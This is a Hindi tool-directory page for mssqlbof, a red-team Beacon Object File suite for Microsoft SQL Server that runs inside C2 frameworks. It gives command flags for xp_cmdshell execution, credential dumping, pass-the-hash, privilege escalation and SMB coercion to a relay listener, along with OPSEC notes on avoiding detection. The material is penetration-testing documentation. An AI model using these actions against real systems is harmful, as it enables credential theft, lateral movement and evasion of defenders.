Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
mssqlbof — Microsoft SQL Server के लिए एक Beacon Object File सुइट जो स्वयं TDS 7.4 का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/mazx0p/mssqlbof
विशेषाधिकार वृद्धिपासवर्ड हमलेशोषणपार्श्व आंदोलनपोस्ट-शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलप्रमाणीकरणरेड टीमिंगपेलोड डेवलपमेंटडेटाबेस सुरक्षा
10184 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
mazx0p/mssqlbof

mssqlbof

Microsoft SQL Server के लिए एक Beacon Object File सुइट जो स्वयं TDS 7.4 का उपयोग करता है।

रिपॉजिटरी देखें

mssqlbof

एक Beacon Object File सूट Microsoft SQL Server के लिए जो स्वयं TDS 7.4 बोलता है, C में। कोई msodbcsql.dll नहीं, कोई sqloledb.dll नहीं, कोई .NET CLR नहीं, कोई PowerShell नहीं। प्रति आर्किटेक्चर एक COFF, हर बीकन में लोड होता है जो विहित Beacon API का सम्मान करता है।

image

क्यों

SQL Server लगभग हर एंगेजमेंट में दिखता है। दो उपकरण जो लोग उपयोग करते हैं वे हैं SQLRecon / PowerUpSQL (CLR + PowerShell) और जो कुछ भी sqlcmd.exe को रैप करता है। दोनों mscoree.dll, PowerShell AMSI घटनाएँ, या Microsoft ODBC ड्राइवर की एक पूरी प्रति बीकन मेमोरी में छोड़ देते हैं। इसकी कोई आवश्यकता नहीं है: TDS केवल TCP के ऊपर फ्रेम किए गए बाइट्स हैं जिसमें Schannel हैंडशेक है, और हर BOF-क्षम बीकन में पहले से ws2_32, secur32, schannel, और bcrypt लोड होते हैं।

इसलिए mssqlbof TDS को हाथ से, C में लागू करता है, और सीधे उन SSPI या BCrypt प्रिमिटिव्स में प्लग करता है जो ऑपरेटर को लक्ष्य के लिए चाहिए। बीकन एक ~48 KB ऑब्जेक्ट लोड करता है, SQL चलाता है, अनलोड करता है। प्रक्रिया में कुछ और नहीं आता।

अनुकूलता

प्रति आर्किटेक्चर एक ऑब्जेक्ट फ़ाइल। mssql.x64.o हर फ्रेमवर्क पर एक ही बाइनरी है — हम केवल विहित Beacon API (BeaconPrintf, BeaconDataExtract, आदि) और <LIB>$<fn> डायनामिक इम्पोर्ट पैटर्न का उपयोग करते हैं जिसे COFF लोडर रनटाइम पर हल करते हैं।

त्वरित आरंभ

root@kitploit:~
apt install gcc-mingw-w64 libssl-dev
make

build/mssql.x64.o और build/mssql.x86.o उत्पन्न करता है। टीम सर्वर पर ड्रॉप करें, अपने C2 के BOF रनर से लोड करें।

क्रियाएँ

सब कुछ एक ऑब्जेक्ट फ़ाइल के माध्यम से जाता है जिसमें --action <verb> होता है:

root@kitploit:~
--action find                                   वर्तमान फ़ॉरेस्ट में MSSQLSvc SPNs की LDAP गणना
--action info     --host <sql>                  सर्वर/संस्करण/वर्तमान उपयोगकर्ता/sysadmin/db
--action query    --host <sql> --sql "..."      मनमाना T-SQL, बहु-पंक्ति, बहु-परिणामसेट
--action links    --host <sql>                  लिंक्ड-सर्वर गणना (एकल हॉप)
--action exec     --host <sql> --cmd "..."      xp_cmdshell स्वचालित सक्षम और पुनर्स्थापना के साथ
--action impersonate --host <sql> --discover    उन लॉगिन्स की सूची देखें जिन्हें आप EXECUTE AS कर सकते हैं
--action impersonate --host <sql> --login X --sql "..."
                                                EXECUTE AS LOGIN के माध्यम से X के रूप में T-SQL चलाएँ
--action privesc  --host <sql>                  छह-खंड privesc सतह गणना
--action coerce   --host <sql> --to "\\listener\x"
                                                xp_dirtree SMB प्रमाणीकरण दबाव
--action action passwords --host <sql>                 sys.linked_logins + sys.credentials डंप करें
--action chain    --host <sql> --via LINK --sql "..."
                                                EXEC (...) AT [LinkedServer]

--action find बिना होस्ट के चलता है — यह LDAP के माध्यम से ऑपरेटर के DC से बात करता है।

प्रमाणीकरण

चार मोड। प्रत्येक मोड SQL Server 2019 के विरुद्ध COFFLoader और Adaptix C2 दोनों में वास्तविक डोमेन पर एंड-टू-एंड सत्यापित है।

root@kitploit:~
--auth sspi                                     (डिफ़ॉल्ट) वर्तमान बीकन थ्रेड टोकन
                                                यदि SPN मौजूद है तो Kerberos, अन्यथा NTLM।
                                                make_token / steal_token का सम्मान करता है।

--auth ntlm --domain D --user U --pass P        स्पष्ट NTLM प्लेनटेक्स्ट।
                                                SSPI NTLM पैकेज चलाता है, बहु-लेग।

--auth ntlm --domain D --user U --hash <NT>     पास-द-हैश।
                                                हाथ से बनाया गया NTLMv2 (नीचे देखें)।
                                                कोई SSPI नहीं, कोई lsass नहीं, कोई make_token नहीं।

--auth sql  --user U --pass P                   SQL प्रमाणीकरण।

--hash 32-अक्षरीय हेक्स NT हैश या वह LM:NT रूप लेता है जो secretsdump उत्पन्न करता है।

हैश मोड सिर्फ SSPI + SEC_WINNT_AUTH_IDENTITY क्यों नहीं है

AcquireCredentialsHandleW(NULL, "NTLM", ...) क्रेडेंशियल पहचान संरचना में केवल प्लेनटेक्स्ट पासवर्ड स्वीकार करता है। NTLM प्रदाता आंतरिक रूप से NT हैश व्युत्पन्न करता है। इसे हैश खिलाने के लिए lsass को पैच करने की आवश्यकता होती है (जो Mimikatz sekurlsa::pth करता है) या बीकन को एक बलि प्रक्रिया के तहत चलाना होता है जो पहले से प्रमाणित थी।

विकल्प — जो हमने लिया — PTH के लिए SSPI को पूरी तरह से छोड़ देना और NTLMSSP संदेश स्वयं उत्पन्न करना है। src/tds/ntlm_pth.c एक टाइप 1 NEGOTIATE बनाता है, TDS 0xED टोकन से सर्वर के टाइप 2 CHALLENGE को पार्स करता है, bcrypt.dll के HMAC-MD5 प्रदाता के साथ NTLMv2 गणित चलाता है, और एक टाइप 3 AUTHENTICATE लिखता है जिसे SQL Server खुशी-खुशी DC को भेजता है।

पहला कट error 18452: login is from an untrusted domain के साथ विफल हुआ। Impacket के काम करने वाले प्रमाणीकरण को वायर पर हमारे बगल में कैप्चर करने से तेजी से पता चला: हम LMv2 प्रतिक्रिया के लिए 24 शून्य भेज रहे थे और पूरा 0xe288... विंडोज नेगोशिएट फ्लैग सूप। Impacket के LMv2 गणना और उसके छोटे 0xa2880205 फ्लैग सेट (कोई KEY_EXCH नहीं, कोई SIGN नहीं, कोई ALWAYS_SIGN नहीं) से मेल खाने पर सर्वर ने हैश स्वीकार कर लिया। लेख BLOG में।

--action exec के लिए Privesc

root@kitploit:~
--impersonate auto          (डिफ़ॉल्ट) पहले EXECUTE AS LOGIN, फिर TRUSTWORTHY हॉप आज़माएँ
--impersonate login         IMPERSONATE अनुदान के माध्यम से EXECUTE AS LOGIN
--impersonate trustworthy   sysadmin के स्वामित्व वाले TRUSTWORTHY db के dbo के माध्यम से हॉप
--impersonate none          यदि sysadmin नहीं है तो विफल

privesc आपके द्वारा विधि चुनने से पहले सतह का गणना करता है: sysadmin सदस्यता, IMPERSONATE अनुदान (लक्ष्य लॉगिन की sysadmin स्थिति के साथ), sysadmin द्वारा स्वामित्व वाले TRUSTWORTHY डेटाबेस (आपकी पहुँच के साथ), लिंक्ड सर्वर, सर्वर-स्तरीय अनुमतियाँ, और xp_cmdshell स्थिति।

निर्माण

root@kitploit:~
apt install gcc-mingw-w64 libssl-dev
make                    # BOFs को x64 + x86 के लिए क्रॉस-कंपाइल करें
make tds                # TDS कोर की Linux साझा लाइब्रेरी (फ़ज़िंग/परीक्षण के लिए)

Linux साझा लाइब्रेरी Windows बिल्ड के साथ हर TDS स्रोत फ़ाइल साझा करती है; केवल tls_schannel.c / sspi.c / ntlm_pth.c को उनके OpenSSL / स्टब समकक्षों से बदल दिया जाता है।

कुछ भी सीधे libc या Win32 को कॉल नहीं करता है। हर बाहरी प्रतीक src/common/dynimports.h में <LIB>$<fn> डायनामिक इम्पोर्ट कन्वेंशन के माध्यम से जाता है। इससे सत्यापित करें:

root@kitploit:~
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND

केवल MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$*, और __imp_Beacon* दिखना चाहिए। कोई msodbcsql.dll नहीं। कोई sqloledb.dll नहीं। कोई mscoree.dll नहीं।

OPSEC

सब कुछ TLS वास्तविक Schannel है (कोई स्टब नहीं) जिसमें SQL Server PRELOGIN-रैप क्वर्क को संभाला गया है: हैंडशेक TDS PRELOGIN टाइप 0x12 पैकेट के अंदर चलता है, फिर LOGIN7 कच्चे TLS एप्लिकेशन डेटा के रूप में बाहर जाता है, और सर्वर उस पहले लॉगिन पैकेट का उत्तर प्लेनटेक्स्ट में देता है। बहु-लेग SSPI निरंतरताएँ भी प्लेनटेक्स्ट जाती हैं — यदि आप उन्हें TLS से एन्क्रिप्ट करते हैं, तो SRV02 बस सॉकेट बंद कर देता है।

दस्तावेज़ीकरण

स्थिति

v0.1.2 — बहु-प्रमाणीकरण, PTH, 11 क्रियाएँ, लैब-सत्यापित।

  • चार प्रमाणीकरण मोड काम कर रहे हैं: sspi, ntlm-plaintext, ntlm-hash (PTH), sql
  • एकीकृत डिस्पैच BOF (mssql.x64.o) 11 क्रियाओं के साथ
  • exec के लिए चार privesc विधियाँ: login, trustworthy, auto, none
  • TDS EOM हैंडलिंग के साथ बहु-लेग SSPI निरंतरता
  • हाथ से बनाए गए NTLMv2 + BCrypt के माध्यम से पास-द-हैश
  • पूर्ण एंड-टू-एंड सत्यापन: डोमेन-जॉइन SQL Server 2019 पर 38-मामला COFF स्वीप + Adaptix C2 स्वीप

ज्ञात एज केस:

  • केवल एकल-हॉप लिंक्ड-सर्वर वॉकर; पुनरावर्ती नेस्टेड OPENQUERY श्रृंखला v0.2 में है।
  • बहु-लेग SSPI लॉगिन के बाद पहला SQLBatch डेटा फर्श पर गिरा देता है। do_connect में एक प्राइमर SELECT इसे निकालता है — साइड इफेक्ट हर क्रिया द्वारा लॉग की गई [*] connected as ... पंक्ति है। मूल कारण पोस्ट-LOGINACK रीड पथ में है और v0.2 में उचित समाधान मिलेगा।

श्रेय

  • Cobalt-Strike/bof_template विहित Beacon API सतह के लिए, जिसका यह प्रोजेक्ट बिल्कुल पालन करता है।
  • TrustedSec/COFFLoader परीक्षण के लिए एक स्वतंत्र लोडर के लिए।
  • impacket का ntlm.py और mssqlclient.py — वह संदर्भ जिसके विरुद्ध हमने NTLMv2 फ्लैग सूप का पीछा करते समय अंतर देखा।
  • [MS-TDS] और [MS-NLMP] — वे विनिर्देश जिनका यह सब हाथ-रोलिंग अनुसरण करता है।
  • Opus 4.6 — दस्तावेज़ीकरण के कुछ भाग Opus 4.6 की सहायता से तैयार किए गए थे। सभी कोड मेरे द्वारा हाथ से लिखे गए हैं और लैब में एंड-टू-एंड सत्यापित किए गए हैं।

लाइसेंस

MIT.

टूल डाउनलोड करें
C2x64x86
Cobalt Strikeहाँहाँ
Havocहाँहाँ
Sliverहाँहाँ
BruteRatelहाँहाँ
Nighthawkहाँहाँ
Outflank Stage1हाँहाँ
AdaptixC2हाँहाँ
Metasploit execute_bofहाँहाँ
PoshC2हाँहाँ
क्रियाबीकन आधार रेखा से अतिरिक्त DLLsसर्वर-पक्ष ट्रेसनोट्स
findwldap32DC घटना 1644 (दुर्लभ)केवल LDAP, कोई SQL स्पर्श नहीं
info / query / links / privesc / passwordssecur32 या bcrypt, schannel, ws2_32SQL ऑडिट 33205 यदि सक्षमशुद्ध TDS, कोई ODBC फिंगरप्रिंट नहीं
execवहीxp_cmdshell + sp_configure डिफ़ॉल्ट ट्रेस मेंशोरगुल। NT SERVICE के रूप में उतरने से बचने के लिए कम-प्रिविलेज लॉगिन से --impersonate का उपयोग करें
impersonateवहीEXECUTE AS ऑडिट 33205 + 33206
coerceवहीxp_dirtree प्रयास लॉग किया गयाइसे responder / ntlmrelayx पर इंगित करें
chainवहीEXEC AT लिंक्ड सर्वर लक्ष्य पर लॉग किया गयापिवट प्रिमिटिव
दस्तावेज़इसमें क्या है
docs/PROTOCOL.mdTDS 7.4 गहन विश्लेषण: पैकेट फ्रेमिंग, PRELOGIN विकल्प स्ट्रीम, LOGIN7 पासवर्ड अस्पष्टीकरण, SQLBatch पर ALL_HEADERS, टोकन स्ट्रीम व्याकरण (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED SSPI निरंतरता), TLS हैंडशेक क्वर्क, बहु-लेग NTLM पंप।
docs/OPERATOR.mdएंड-टू-एंड लैब गाइड: निर्माण, Adaptix लिसनर खड़ा करना, विंडोज होस्ट पर बीकन ड्रॉप करना, हर क्रिया को हर प्रमाणीकरण मोड (PTH सहित) के साथ चलाना, और क्रॉस-C2 पोर्टेबिलिटी नोट्स।
docs/OPSEC.mdप्रति-क्रिया ऑन-वायर और इन-मेमोरी पदचिह्न। प्रत्येक क्रिया बीकन में क्या लोड करती है, SQL ऑडिट में क्या छोड़ती है, और एक डिफेंडर क्या देख सकता है।
docs/COMPATIBILITY.mdC2 फ्रेमवर्क मैट्रिक्स, SQL Server संस्करण मैट्रिक्स, और कौन से प्रमाणीकरण मोड किन लक्ष्यों के विरुद्ध सत्यापित हैं।
BLOGडिबगिंग कथा: पास-द-हैश कार्यान्वयन वास्तव में कैसे एक साथ आया, वायर कैप्चर, LMv2 शून्य-बाइट्स लाल हेरिंग, और tshark अंतर जिसने Impacket के विरुद्ध इसे खोला।